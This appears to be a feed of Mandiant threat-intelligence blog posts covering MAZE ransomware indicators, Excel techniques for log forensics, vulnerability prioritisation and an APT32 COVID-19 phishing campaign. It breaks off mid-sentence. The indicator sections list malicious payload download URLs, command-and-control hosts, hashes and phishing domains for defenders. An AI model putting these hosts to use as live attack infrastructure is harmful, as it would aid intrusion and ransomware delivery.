http://104.168.201.47/wordupd.tmp http://104.168.215.54/wordupd.tmp http://149.56.245.196/wordupd.tmp http://192.119.106.235/mswordupd.tmp http://192.119.106.235/officeupd.tmp http://192.99.172.143/winupd.tmp http://54.39.233.188/win163.65.tmp http://91.208.184.174:8079/windef.exe http://agenziainformazioni[.]icu/wordupd.tmp http://www.download-invoice[.]site/Invoice_29557473.exe Malicious Documents 1a26c9b6ba40e4e3c3dce12de266ae10 53d5bdc6bd7904b44078cf80e239d42b 79271dc08052480a578d583a298951c5 a2d631fcb08a6c840c23a8f46f6892dd ad30987a53b1b0264d806805ce1a2561 c09af442e8c808c953f4fa461956a30f ee26e33725b14850b1776a67bd8f2d0a BEACON C2s 173.209.43.61 193.36.237.173 37.1.213.9 37.252.7.142 5.199.167.188 checksoffice[.]me drivers.updatecenter[.]icu plaintsotherest[.]net thesawmeinrew[.]net updates.updatecenter[.]icu Cobalt Strike Binaries 7507fe19afbda652e9b2768c10ad639f a93b86b2530cc988f801462ead702d84 4f57e35a89e257952c3809211bef78ea bad6fc87a98d1663be0df23aedaf1c62 f5ef96251f183f7fc63205d8ebf30cbf c818cc38f46c604f8576118f12fd0a63 078cf6db38725c37030c79ef73519c0c c255daaa8abfadc12c9ae8ae2d148b31 1fef99f05bf5ae78a28d521612506057 cebe4799b6aff9cead533536b09fecd1 4ccca6ff9b667a01df55326fcc850219 bad6fc87a98d1663be0df23aedaf1c62 Meterpreter C2s 5.199.167.188 Other Related Files 3A5A9D40D4592C344920DD082029B362 (related script) 76f8f28bd51efa03ab992fdb050c8382 (MAZE execution artifact) b5aa49c1bf4179452a85862ade3ef317 (windows.bat kill script)  fad3c6914d798e29a3fd8e415f1608f4 (related script) Tools & Utilities 27304b246c7d5b4e149124d5f93c5b01 (PsExec) 42badc1d2f03a8b1e4875740d3d49336 (7zip) 75b55bb34dac9d02740b9ad6b6820360 (PsExec) 9b02dd2a1a15e94922be3f85129083ac (AdFind) c621a9f931e4ebf37dace74efcce11f2 (SMBTools) f413b4a2242bb60829c9a470eea4dfb6 (winRAR)  Email Sender Domains att-customer[.]com att-information[.]com att-newsroom[.]com att-plans[.]com bezahlen-1und1[.]icu bzst-info[.]icu bzst-inform[.]icu bzstinfo[.]icu bzstinform[.]icu canada-post[.]icu canadapost-delivery[.]icu canadapost-tracking[.]icu hilfe-center-1und1[.]icu hilfe-center-internetag[.]icu trackweb-canadapost[.]icu Sender Domain Registrant Addresses [email protected] [email protected] Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m. PT / 11 a.m. ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees. Register today to reserve your spot.

  • Excelerating Analysis, Part 2 — X[LOOKUP] Gon’ Pivot To Ya
    by Jake Nicastro on April 28, 2020 at 5:30 pm

    In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations. As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts. There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter. In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining. In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables. For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset. Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly. Our data contains the following columns: Description – Event description User – User’s name User Principle Name – email address App – such as Office 365, Sharepoint, etc. Location – Country Date IP address User agent (simplified) Organization – associated with IP address (as identified by O365) Figure 1: O365 data set LOOKUP for Data Enrichment It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source. A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc. This grants more information about each IP address that we can take into consideration in our analysis. While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence, if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged. We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address. This information may be useful in identifying anomalous logons based on geographical location. After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document: Figure 2: IP address enrichment We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE. To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3). We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet. Figure 3: Enrichment columns VLOOKUP The traditional way to look up particular data in another array is by using the VLOOKUP function. We will use the following formula to reference the “Latitude” values for a given IP address: Figure 4: VLOOKUP formula for Latitude There are four parts to this formula: Value to look up:This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address. Table array:This defines the entire array in which we will look up our value and return data from. The first column in the array must contain the value being looked up. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15. In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.Figure 5: VLOOKUP table array Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells. Column index number:This identifies the column number from which to return data. The first column is considered column 1. We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2. Range lookup (match type)This part of the formula tells Excel what type of matching to perform on the value being looked up. Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value. We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted). With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set. To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet: For Longitude:=VLOOKUP(G2,’IP Address Intel’!$A$2:$D$15,3,0) For Threat Intel:=VLOOKUP(G2,’IP Address Intel’!$A$2:$D$15,4,0) Bonus Option: XLOOKUP The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet. XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft. In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column. NOTE: To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object. Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon: Figure 6: Filter option To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula: Figure 7: XLOOKUP function for enrichment There are three parts to this XLOOKUP formula: Value to lookup:This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address. Array to look in:This will be the array of data in which Excel will search for the value to look up. Excel does exact matching by default for XLOOKUP. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15. In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15:Figure 8: XLOOKUP array to look in Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells. Array of data to return:This part will be the array of data from which Excel will return data. In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up. In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:Figure 9: Data to be returned from ‘IP Address Intel’ sheet Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4. Now that our dataset is completely enriched by either using VLOOKUP or XLOOKUP, we can start hunting for anomalous activity. As a quick first step, since we know at least a handful of IP addresses are potentially malicious, we can filter on the “Threat Intel” column for all rows that match “TMP.OGRE” and reveal logons with source IP addresses related to known threat actors. Now we have timeframes and suspected compromised accounts to pivot off of for additional hunting through other data. PIVOT! PIVOT! PIVOT! One of the most useful tools for highlighting anomalies by summarizing data, performing frequency analysis and quickly obtaining other statistics about a given dataset is Excel’s PivotTable function. Location Anomalies Let’s utilize a PivotTable to perform frequency analysis on the location from which users logged in. This type of technique may highlight activity where a user account logged in from a location which is unusual for them. To create a PivotTable for our data, we can select any cell in our O365 data and select the entire range with Ctrl+A. Then, under the “Insert” tab in the ribbon, select “PivotTable”: Figure 10: PivotTable selection This will bring up a window, as seen in Figure 11, to confirm the data for which we want to make a PivotTable (Step 1 in Figure 11). Since we selected our O365 log data set with Ctrl+A, this should be automatically populated. It will also ask where we want to put the PivotTable (Step 2 in Figure 11). In this instance, we created another sheet called “PivotTable 1” to place the PivotTable: Figure 11: PivotTable creation Now that the PivotTable is created, we must select how we want to populate the PivotTable using our data. Remember, we are trying to determine the locations from which all users logged in. We will want a row for each user and a sub-row for each location the user has logged in from. Let’s add a count of how many times they logged in from each location as well. We will use the “Date” field to do this for this example: Figure 12: PivotTable field definitions Examining this table, we can immediately see there are two users with source location anomalies: Ginger Breadman and William Brody have a small number of logons from “FarFarAway”, which is abnormal for these users based on this data set. We can add more data to this PivotTable to get a timeframe of this suspicious activity by adding two more “Date” fields to the “Values” area. Excel defaults to “Count” of whatever field we drop in this area, but we will change this to the “Minimum” and “Maximum” values by using the “Value Field Settings”, as seen in Figure 13. Figure 13: Adding min and max dates Now we have a PivotTable that shows us anomalous locations for logons, as well as the timeframe in which the logons occurred, so we can hone our investigation. For this example, we also formatted all cells with timestamp values to reflect the format FireEye Mandiant typically uses during analysis by selecting all the appropriate cells, right-clicking and choosing “Format Cells”, and using a “Custom” format of “YYYY-MM-DD HH:MM:SS”. Figure 14: PivotTable with suspicious locations and timeframe IP Address Anomalies Geolocation anomalies may not always be valuable. However, using a similar configuration as the previous example, we can identify suspicious source IP addresses. We will add “User Principle Name” and “IP Address” fields as Rows, and “IP Address” as Values. Let’s also add the “App” field to Columns. Our field settings and resulting table are displayed in Figure 15: Figure 15: PivotTable with IP addresses and apps With just a few clicks, we have a summarized table indicating which IP addresses each user logged in from, and which app they logged into. We can quickly identify two users logged in from IP addresses in the 203.0.113.0/24 range six times, and which applications they logged into from each of these IP addresses. While these are just a couple use cases, there are many ways to format and view evidence using PivotTables. We recommend trying PivotTables on any data set being reviewed with Excel and experimenting with the Rows, Columns, and Values parameters. We also recommend adjusting the PivotTable options, which can help reformat the table itself into a format that might fit requirements. Conclusion These Excel functions are used frequently during investigations at FireEye Mandiant and are considered important forensic analysis techniques. The examples we give here are just a glimpse into the utility of LOOKUP functions and PivotTables. LOOKUP functions can be used to reference a multitude of data sources and can be applied in other situations during investigations such as tracking remediation and analysis efforts. PivotTables may be used in a variety of ways as well, depending on what data is available, and what sort of information is being analyzed to identify suspicious activity. Employing these techniques, alongside the ones we highlighted previously, on a consistent basis will go a long way in “excelerating” forensic analysis skills and efficiency.

  • Putting the Model to Work: Enabling Defenders With Vulnerability Intelligence — Intelligence for Vulnerability Management, Part Four
    by Katie Bowen on April 27, 2020 at 12:30 pm

    One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Organizations often have to make difficult choices when it comes to patch prioritization. Many are faced with securing complex network infrastructure with thousands of systems, different operating systems, and disparate geographical locations. Even when armed with a simplified vulnerability rating system, it can be hard to know where to start. This problem is compounded by the ever-changing threat landscape and increased access to zero-days. At FireEye, we apply the rich body of knowledge accumulated over years of global intelligence collection, incident response investigations, and device detections, to help our customers defend their networks. This understanding helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.  In this blog post, we’ll demonstrate how we apply intelligence to help organizations assess risk and make informed decisions about vulnerability management and patching in their environments. Functions of Vulnerability Intelligence Vulnerability intelligence helps clients to protect their organizations, assets, and users in three main ways: Figure 1: Vulnerability intelligence can help with risk assessment and informed decision making Tailoring Vulnerability Prioritization We believe it is important for organizations to build a defensive strategy that prioritizes the types of threats that are most likely to impact their environment, and the threats that could cause the most damage. When organizations have a clear picture of the spectrum of threat actors, malware families, campaigns, and tactics that are most relevant to their organization, they can make more nuanced prioritization decisions when those threats are linked to exploitation of vulnerabilities. A lower risk vulnerability that is actively being exploited in the wild against your organization or similar organizations likely has a greater potential impact to you than a vulnerability with a higher rating that is not actively being exploited. Figure 2: Patch Prioritization Philosophy Integration of Vulnerability Intelligence in Internal Workflows Based on our experience assisting organizations globally with enacting intelligence-led security, we outline three use cases for integrating vulnerability intelligence into internal workflows. Figure 3: Integration of vulnerability intelligence into internal workflows Tools and Use Cases for Operationalizing Vulnerability Intelligence 1. Automate Processes by Fusing Intelligence with Internal Data Automation is valuable to security teams with limited resources. Similar to automated detecting and blocking of indicator data, vulnerability threat intelligence can be automated by merging data from internal vulnerability scans with threat intelligence (via systems like the Mandiant Intelligence API) and aggregated into a SIEM, Threat Intelligence Platform, and/or ticketing system. This enhances visibility into various sources of both internal and external data with vulnerability intelligence providing risk ratings and indicating which vulnerabilities are being actively exploited. FireEye also offers a custom tool called FireEye Intelligence Vulnerability Explorer (“FIVE”), described in more detail below for quickly correlating vulnerabilities found in logs and scans with Mandiant ratings. Security teams can similarly automate communication and workflow tracking processes using threat intelligence by defining rules for auto-generating tickets based on certain combinations of Mandiant risk and exploitation ratings; for example, internal service-level-agreements (SLAs) could state that ‘high’ risk vulnerabilities that have an exploitation rating of ‘available,’ ‘confirmed,’ or ‘wide’ must be patched within a set number of days. Of course, the SLA will depend on the company’s operational needs, the capability of the team that is advising the patch process, and executive buy-in to the SLA process. Similarly, there may be an SLA defined for patching vulnerabilities that are of a certain age. Threat intelligence tells us that adversaries continue to use older vulnerabilities as long as they remain effective. For example, as recently as January 2020, we observed a Chinese cyber espionage group use an exploit for CVE-2012-0158, a Microsoft Office stack-based buffer overflow vulnerability originally released in 2012, in malicious email attachments to target organizations in Southeast Asia. Automating the vulnerability-scan-to-vulnerability-intelligence correlation process can help bring this type of issue to light.  Another potential use case employing automation would be incorporating vulnerability intelligence as security teams are testing updates or new hardware and software prior to introduction into the production environment. This could dramatically reduce the number of vulnerabilities that need to be patched in production and help prioritize those vulnerabilities that need to be patched first based on your organization’s unique threat profile and business operations. 2. Communicating with Internal Stakeholders Teams can leverage vulnerability reporting to send internal messaging, such as flash-style notifications, to alert other teams when Mandiant rates a vulnerability known to impact your systems high or critical. These are the vulnerabilities that should take priority in patching and should be patched outside of the regular cycle. Data-informed intelligence analysis may help convince stakeholders outside of the security organization the importance of patching quickly, even when this is inconvenient to business operations. Threat Intelligence can inform an organization’s appropriate use of resources for security given the potential business impact of security incidents. 3. Threat Modeling Organizations can leverage vulnerability threat intelligence to inform their threat modeling to gain insight into the most likely threats to their organization, and better prepare to address threats in the mid to long term. Knowledge of which adversaries pose the greatest threat to your organization, and then knowledge of which vulnerabilities those threat groups are exploiting in their operations, can enable your organization to build out security controls and monitoring based on those specific CVEs. Examples The following examples illustrate workflows supported by vulnerability threat intelligence to demonstrate how organizations can operationalize threat intelligence in their existing security teams to automate processes and increase efficiency given limited resources. Example 1: Using FIVE for Ad-hoc Vulnerability Prioritization The FireEye Intelligence Vulnerability Explorer (“FIVE”) tool is available for customers here. It is available for MacOS and Windows, requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Figure 4: FIVE Tool for Windows and MacOS In this scenario, an organization’s intelligence team was asked to quickly identify any vulnerability that required patching from a server vulnerability scan after that server was rebuilt from a backup image. The intelligence team was presented with a text file containing a list of CVE numbers. Users can drag-and-drop a text readable file (CSV, TEXT, JSON, etc.) into the FIVE tool and the CVE numbers will be discovered from the file using regex. As shown in Figure 6 (below), in this example, the following vulnerabilities were found in the file and presented to the user.  Figure 5: FIVE tool startup screen waiting for file input Figure 6: FIVE tool after successfully regexing the CVE-IDs from the file After selecting all CVE-IDs, the user clicked the “Fetch Vulnerabilities” button, causing the application to make the necessary two-stage API call to the Intelligence API. The output depicted in Figure 7 shows the user which vulnerabilities should be prioritized based on FireEye’s risk and exploitation ratings. The red and maroon boxes indicate vulnerabilities that require attention, while the yellow indicate vulnerabilities that should be reviewed for possible action. Details of the vulnerabilities are displayed below, with associated intelligence report links providing further context. Figure 7: FIVE tool with meta-data, CVE-IDs, and links to related Intelligence Reports FIVE can also facilitate other use cases for vulnerability intelligence. For example, this chart can be attached in messaging to other internal stakeholders or executives for review, as part of a status update to provide visibility on the organization’s vulnerability management program. Example 2: Vulnerability Prioritization, Internal Communications, Threat Modeling CVE-2019-19781 is a vulnerability affecting Citrix that Mandiant Threat Intelligence rated critical. Mandiant discussed early exploitation of this vulnerability in a January 2020 blog post. We continued to monitor for additional exploitation, and informed our clients when we observed exploitation by ransomware operators and Chinese espionage group, APT41. In cases like these, threat intelligence can help impacted organizations find the “signal” in the “noise” and prioritize patching using knowledge of exploitation and the motives and targeting patterns of threat actors behind the exploitation. Enterprises can use intelligence to inform internal stakeholders of the potential risk and provide context as to the potential business and financial impact of a ransomware infection or an intrusion by a highly resourced state sponsored group. This support the immediate patch prioritization decision while simultaneously emphasizing the value of a holistically informed security organization. Example 3: Intelligence Reduces Unnecessary Resource Expenditure — Automating Vulnerability Prioritization and Communications Another common application for vulnerability intelligence is informing security teams and stakeholders when to stand down. When a vulnerability is reported in the media, organizations often spin up resources to patch as quickly as possible. Leveraging threat intelligence in security processes help an organization discern when it is necessary to respond in an all-hands-on-deck manner. Take the case of the CVE-2019-12650, originally disclosed on Sept. 25, 2019 with an NVD rating of “High.” Without further information, an organization relying on this score to determine prioritization may include this vulnerability in the same patch cycle along with numerous other vulnerabilities rated High or Critical. As previously discussed, we have experts review the vulnerability and determine that it required the highest level of privileges available to successfully exploit, and there was no evidence of exploitation in the wild. This is a case where threat intelligence reporting as well as automation can effectively minimize the need to unnecessarily spin up resources. Although the public NVD score rated this vulnerability high, Mandiant Intelligence rated it as “low” risk due to the high level of privileges needed to use it and lack of exploitation in the wild. Based on this assessment, organizations may decide that this vulnerability could be patched in the regular cycle and does not necessitate use of additional resources to patch out-of-band. When Mandiant ratings are automatically integrated into the patching ticket generation process, this can support efficient prioritization. Furthermore, an organization could use the analysis to issue an internal communication informing stakeholders of the reasoning behind lowering the prioritization. Vulnerabilities: Managed Because we have been closely monitoring vulnerability exploitation trends for years, we were able to distinguish when attacker use of zero-days evolved from use by a select class of highly skilled attackers, to becoming accessible to less skilled groups with enough money to burn. Our observations consistently underscore the speed with which attackers exploit useful vulnerabilities, and the lack of exploitation for vulnerabilities that are hard to use or do not help attackers fulfill their objectives. Our understanding of the threat landscape helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations. Mandiant Threat Intelligence enables organizations to implement a defense-in-depth approach to holistically mitigate risk by taking all feasible steps—not just patching—to prevent, detect, and stymie attackers at every stage of the attack lifecycle with both technology and human solutions. Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar. Additional Resources Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three Mandiant offers Intelligence Capability Development (ICD) services to help organizations optimize their ability to consume, analyze and apply threat intelligence. The FIVE tool is available on the FireEye Market. It requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Please contact your Intelligence Enablement Manager or FireEye Support to obtain API keys.  Mandiant’s OT Asset Vulnerability Assessment Service informs customers of relevant vulnerabilities by matching a customer’s asset list against vulnerabilities and advisories. Relevant vulnerabilities and advisories are delivered in a report from as little as once a year, to as often as once a week. Additional add-on services such as asset inventory development and deep dive analysis of critical assets are available. Please contact your Intelligence Enablement Manager for more information.

  • Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage
    by Scott Henderson on April 22, 2020 at 2:00 pm

    From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China’s Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information. Phishing Emails with Tracking Links Target Chinese Government The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China’s Ministry of Emergency Management using the sender address [email protected][.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim’s email address and code to report back to the actors if the email was opened. Figure 1: Phishing email to China’s Ministry of Emergency Management Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China’s Wuhan government and an email account also associated with the Ministry of Emergency Management. libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png libjs.inquirerjs[.]com/script/<VICTIM>@chinasafety.gov.cn.png m.topiccore[.]com/script/<VICTIM>@chinasafety.gov.cn.png m.topiccore[.]com/script/<VICTIM>@wuhan.gov.cn.png libjs.inquirerjs[.]com/script/<VICTIM>@126.com.png The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries. Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19 APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload. When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export “_force_link_krpt” is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%. The decoy document (Figure 2) titled 冠状病毒实时更新:中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim. Figure 2: COVID-themed decoy document The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim’s computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory. It then uses vitlescaux[.]com for command and control. Outlook The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally. Indicators Type Indicators Domains m.topiccore[.]com jcdn.jsoid[.]com libjs.inquirerjs[.]com vitlescaux[.]com Email Address [email protected][.]com Files MD5: d739f10933c11bd6bd9677f91893986c METALJACK loader MD5: a4808a329b071a1a37b8d03b1305b0cb METALJACK Payload MD5: c5b98b77810c5619d20b71791b820529 Decoy Document (Not Malicious) Detecting the Techniques Platform Signature Name Endpoint Security Generic.mg.d739f10933c11bd6 Network Security Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic Email Security Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic Helix   Mandiant Security Validation Actions A150-096 – Malicious File Transfer – APT32, METALJACK, Download A150-119 – Protected Theater – APT32, METALJACK Execution A150-104 – Phishing Email – Malicious Attachment, APT32, Contact Information Lure MITRE ATT&CK Technique Mapping Tactic Techniques Initial Access Spearphishing Attachment (T1193), Spearphising Link (T1192) Execution Regsvr32 (T1117), User Execution (T1204) Defense Evasion Regsvr32 (T1117) Command and Control Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

  • Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three
    by Cameron Sabel on April 20, 2020 at 12:00 pm

    One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Every information security practitioner knows that patching vulnerabilities is one of the first steps towards a healthy and well-maintained organization. But with thousands of vulnerabilities disclosed each year and media hype about the newest “branded” vulnerability on the news, it’s hard to know where to start. The National Vulnerability Database (NVD) considers a range of factors that are fed into an automated process to arrive at a score for CVSSv3. Mandiant Threat Intelligence takes a different approach, drawing on the insight and experience of our analysts (Figure 1). This human input allows for qualitative factors to be taken into consideration, which gives additional focus to what matters to security operations. Figure 1: How Mandiant Rates Vulnerabilities Assisting Patch Prioritization We believe our approach results in a score that is more useful for determining patching priorities, as it allows for the adjustment of ratings based on factors that are difficult to quantify using automated means. It also significantly reduces the number of vulnerabilities rated ‘high’ and ‘critical’ compared to CVSSv3 (Figure 2). We consider critical vulnerabilities to pose significant security risks and strongly suggest that remediation steps are taken to address them as soon as possible. We also believe that limiting ‘critical’ and ‘high’ designations helps security teams to effectively focus attention on the most dangerous vulnerabilities. For instance, from 2016-2019 Mandiant only rated two vulnerabilities as critical, while NVD assigned 3,651 vulnerabilities a ‘critical’ rating (Figure 3). Figure 2: Criticality of US National Vulnerability Database (NVD) CVSSv3 ratings 2016-2019 compared to Mandiant vulnerability ratings for the same vulnerabilities Figure 3: Numbers of ratings at various criticality tiers from NVD CVSSv3 scores compared to Mandiant ratings for the same vulnerabilities Mandiant Vulnerability Ratings Defined Our rating system includes both an exploitation rating and a risk rating: The Exploitation Rating is an in indication of what is occurring in the wild. Figure 4: Mandiant Exploitation Rating definitions The Risk Rating is our expert assessment of what impact an attacker could have on a targeted organization, if they were to exploit a vulnerability. Figure 5: Mandiant Risk Rating definitions We intentionally use the critical rating sparingly, typically in cases where exploitation has serious impact, exploitation is trivial with often no real mitigating factors, and the attack surface is large and remotely accessible. When Mandiant uses the critical rating, it is an indication that remediation should be a top priority for an organization due to the potential impacts and ease of exploitation. For example, Mandiant Threat Intelligence rated CVE-2019-19781 as critical due to the confluence of widespread exploitation—including by APT41—the public release of proof-of-concept (PoC) code that facilitated automated exploitation, the potentially acute outcomes of exploitation, and the ubiquity of the software in enterprise environments. CVE-2019-19781 is a path traversal vulnerability of the Citrix Application Delivery Controller (ADC) 13.0 that when exploited, allows an attacker to remotely execute arbitrary code. Due to the nature of these systems, successful exploitation could lead to further compromises of a victim’s network through lateral movement or the discovery of Active Directory (AD) and/or LDAP credentials. Though these credentials are often stored in hashes, they have been proven to be vulnerable to password cracking. Depending on the environment, the potential second order effects of exploitation of this vulnerability could be severe. We described widespread exploitation of CVE-2019-19781 in our blog post earlier this year, including a timeline from disclosure on Dec. 17, 2019, to the patch releases, which began a little over a month later on Jan. 20, 2020. Significantly, within hours of the release of PoC code on Jan. 10, 2020, we detected reconnaissance for this vulnerability in FireEye telemetry data. Within days, we observed weaponized exploits used to gain footholds in victim environments. On the same day the first patches were released, Jan. 20, 2020, we observed APT41, one of the most prolific Chinese groups we track, kick off an expansive campaign exploiting CVE-2019-19781 and other vulnerabilities against numerous targets. Factors Considered in Ratings Our vulnerability analysts consider a wide variety of impact-intensifying and mitigating factors when rating a vulnerability. Factors such as actor interest, availability of exploit or PoC code, or exploitation in the wild can inform our analysis, but are not primary elements in rating. Impact considerations help determine what impact exploitation of the vulnerability can have on a targeted system. Impact Type Impact Consideration Exploitation Consequence The result of successful exploitation, such as privilege escalation or remote code execution Confidentiality Impact The extent to which exploitation can compromise the confidentiality of data on the impacted system Integrity Impact The extent to which exploitation allows attackers to alter information in impacted systems Availability Impact The extent to which exploitation disrupts or restricts access to data or systems Mitigating factors affect an attacker’s likelihood of successful exploitation. Mitigating Factor Mitigating Consideration Exploitation Vector What methods can be used to exploit the vulnerability? Attacking Ease How difficult is the exploit to use in practice? Exploit Reliability How consistently can the exploit execute and perform the intended malicious activity? Access Vector What type of access (i.e. local, adjacent network, or network) is required to successfully exploit the vulnerability? Access Complexity How difficult is it to gain access needed for the vulnerability? Authentication Requirements Does the exploitation require authentication and, if so, what type of authentication? Vulnerable Product Ubiquity How commonly is the vulnerable product used in enterprise environments? Product’s Targeting Value How attractive is the vulnerable software product or device to threat actors to target? Vulnerable Configurations Does exploitation require specific configurations, either default or non-standard? Mandiant Vulnerability Rating System Applied The following are examples of cases in which Mandiant Threat Intelligence rated vulnerabilities differently than NVD by considering additional factors and incorporating information that either was not reported to NVD or is not easily quantified in an algorithm. Vulnerability Vulnerability Description NVD Rating Mandiant Rating Explanation CVE-2019-12650 A command injection vulnerability in the Web UI component of Cisco IOS XE versions 16.11.1 and earlier that, when exploited, allows a privileged attacker to remotely execute arbitrary commands with root privileges High Low This vulnerability was rated high by NVD, but Mandiant Threat Intelligence rated it as low risk because it requires the highest level of privileges – level 15 admin privileges – to exploit. Because this level of access should be quite limited in enterprise environments, we believe that it is unlikely attackers would be able to leverage this vulnerability as easily as others. There is no known exploitation of this activity. CVE-2019-5786 A use after free vulnerability within the FileReader component in Google Chrome 72.0.3626.119 and prior that, when exploited, allows an attacker to remotely execute arbitrary code.    Medium High NVD rated CVE-2019-5786 as medium, while Mandiant Threat Intelligence 